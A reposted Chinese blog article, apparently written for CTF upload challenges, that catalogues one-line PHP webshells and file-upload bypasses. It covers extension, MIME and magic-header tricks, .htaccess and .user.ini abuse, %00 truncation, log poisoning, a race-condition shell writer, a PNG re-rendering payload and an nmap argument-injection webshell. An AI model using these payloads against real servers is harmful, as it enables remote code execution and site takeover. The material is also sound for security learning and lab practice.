一句话木马绕过

编程入门 行业动态 更新时间:2024-10-11 13:23:38

一<a href=https://www.elefans.com/category/jswz/34/1766032.html style=句话木马绕过"/>

一句话木马绕过

一句话木马变形

1.显示文件中包含<?,那就把一句话,改成如下形式

利用script代替<? 、?>标签:
<script language='php'>eval($_POST['a']);</script>
<? echo '123';?> #php 短标签
<% echo '123';%>

文件上传验证机制以及绕过

  • 客户端JavaScript验证

    这个最简单,把js禁用了就行,或者通过bp抓包直接发送也行。

  • 服务端MIME类型验证

    这个也简单,抓包把Content-Type改为image/gif或者jpeg就行

  • 服务端文件扩展名验证( 黑名单、 白名单 )

    黑名单:

    • 后缀名大小写绕过
    • 找漏网之鱼phtml等
    • 特殊后缀绕过php3php4等
    • 单双重后缀绕过,pphphp,删了一个php刚好剩一个(不过真的会人这么写后端代码吗?)
    • 上传.htaccess和user.ini来将任意格式解析成php(不过真的会有人对这两种类型的文件网开一面吗?)
    • windows特性:会去掉空格 . ::$DATA
      • 空格绕过,在后缀名后添加空格避开检测点绕过,

      • 在后缀名后面添加点可以绕过检测

      • 添加字符串 绕过,在后缀名后面添加::$DATA

    白名单:下一题(开玩笑的,但是基本也说明本题考查的侧重点不在文件上传,毕竟白名单下还能利用的方式都已经是2013年的cve了,谁还用PHP5)下面的内容简单看看,了解了解就好

    • 配合web容器的解析漏洞

      IIS中的目录解析漏洞和分号解析漏洞 :

      将一句话木马的文件名 backlion.php,改成 backlion.php.abc(奇怪的不被解析的后缀名都 行)。首先, 服务器验证文件扩展名的时候,验证的是.abc,只要该扩展名符合服务器端黑白名单觃则,即可上传。

      nginx 空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行。

      apache 的解析漏洞,上传如 a.php.rar a.php.gif 类型的文件名,可以避免 对于php文件的过滤机制,但是由于 apache 在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar 等扩展名是 apache 不能识别的, 因此就会直接将类型识别为 php,从而达到了注入php代码的目的。

    • %00 截断上传绕过

      通过抓包截断将 backlion.asp.jpg 后面的一个.换成%00 在上传的时候即 backlion.asp%00.jpg,当文件系统读到%00 时,会认为文件已经结束,从而将 backlion.asp.jpg 的内容写入到 backlion.asp 中,从而达到攻击的目的。%00 不是针对所有基于白名单的后缀名检查都能绕过,代码的实现过程中必须存在截 断上传漏洞,上传格式如下:bk.asp%00.jpg

    • 文件内容加幻术头GIF89a(虽然有点搞笑,但这种方式成功率最高)

  • 文件内容验证

    • 使用php短标签,不要出现php,或者不要出现?
    • 直接把木马和图片合一,copy 一张图片.png/b+一句话木马.php/a 生成图片名称.png,再利用配置文件将其解析成php或者利用文件包含漏洞

2.htaccess文件是Apache服务器中的一个配置文件,先传htaccess再传木马

如果服务器给.php后缀添加了处理器:AddHandler application/x-httpd-php.php

因为Apache默认一个文件可以有多个用.分割得后缀,当最右边的后缀无法识别(mime.types文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准)

shell.php.xxx因为后缀.xxx不合法,所以向左看,.php为合法后缀,解析为.php格式文件。

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

 3.  .user.ini

auto_append_file   ; 指定一个文件,自动包含在要执行的文件后。 后上传
auto_prepend_file  ; 指定一个文件,自动包含在要执行的文件前。 先上传

 php的exif_imagetype()函数,添加图片文件头GIF89a就可以了

GIF89a
auto_prepend_file=a.jpg

4.过滤绕过

①过滤了[]那我们直接用{}来代替 

②过滤了括号,用反引号 <?= `tac ../f*` ?>

5. 00截断

00截断有限制,上传路径可控且php版本得低于5.3,并且GPC得关闭,一般在url上。 两种,%00和0x00,后台读取是遇到%00就会停止。 举个例子,url中输入的是upload/post.php%00.jpg,那么后台读取到是upload/post.php,就实现了绕后目的。

本题不再使用黑名单,而是使用白名单来检测后缀名,但是这题的文件上传路径可控,可以使用00截断绕过后缀名检测。00截断要求需要php的版本号低于5.3.29, 且magic_quotes_gpc为关闭状态。

可控文件上传位置/uploads/1.php%00,上传图片马1.png,这时文件名会变成1.php.1.png,但由于%00的作用,使得00后面的内容都无效了,最后文件的后缀名就是.php,实现绕过。

另外需要注意,这里是get型00截断,是通过url来传递文件上传路径的,所以需要对0x00进行url编码,上传到服务器会被自动解码变成NULL才能达到截断的目的。

POST /Pass-11/index.php?save_path=../upload/1.php%00 HTTP/1.1

本题的文件路径通过post来指定,%00并不会被服务器解码,只会原样被参数变量接收,这时需要修改post数据的十六进制来达到截断的目的。

抓包填好路径之后只用bp的hex查看,将php后面的改为00即可。

5. 日志文件包含

       当某个PHP文件存在本地包含漏洞,而却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵
  Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中。

注:1.日志记录我们的访问历史,但是是经过URL编码后的结果。我们可以通过burpsuite,把经过浏览器URL编码后的数据进行修改。 

2.文件包含只要文件中有php代码,它就会把这个文件当做php脚本进行解析,这样我们可以包含这个日志文件,让目标服务器把日志文件解析为php脚本。

3.日志路径:/var/log/nginx/access.log 

4.文件上传一句话木马,如果对log过滤,拼接绕过

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

然后访问网站然后修改ua头信息 

5.条件竞争绕过

例题博客

//a.php
<?php
fputs(fopen("shell.php","w"),'<?php @eval($_POST["cmd"]);?>');
?>

6.二次渲染绕过(gif,png)

详细博客讲解

png:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>

运行之后生成1.png:  

上传的图片和上传后的图片大小不一致,断定这里存在图片二次渲染

绕过方法:测试图片的渲染后没有修改的位置,将一句话木马添加进去

1. 先把图片马进行上传,然后再把上传的图片马下载下来。
2、下载下来的图片可以通过010eidtor 和原来的图片马进行数据的对比,看哪个部分没有被修改。
3、对原来的图片马进行修改,把php代码写到数据中没有被修改的地方。
4、修改后的图片马上传,其数据中的webshell数据未被修改,再配合前面提到的包含漏洞,得以执行图片马中的php代码。

7.只准上传zip文件,且可以文件包含,用含木马的jpg图片,压缩后上传

payload: zip://upload/1.zip%231.jpg&1=phpinfo();

8.nmap:nmap工具使用和命令注入

nmap是一个扫描主机和端口的linux软件,本题用到了nmap的写文件操作,通过命令拼接来写入木马,从而达到获取webshell的目的。

参数-oG 将结果grep保存到指定文件中,经测试屏蔽了php,故写入下面的一句话,访问phtml文件获得flag。下面这个语句绕过了这两个函数对命令行注入的检测

$host = escapeshellarg($host);  $host = escapeshellcmd($host);
payload:' -oG b.phtml <?=eval(\$_POST[a]);?>'

更多推荐

一句话木马绕过

本文发布于:2024-03-07 08:56:56,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1717385.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:句话   木马

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!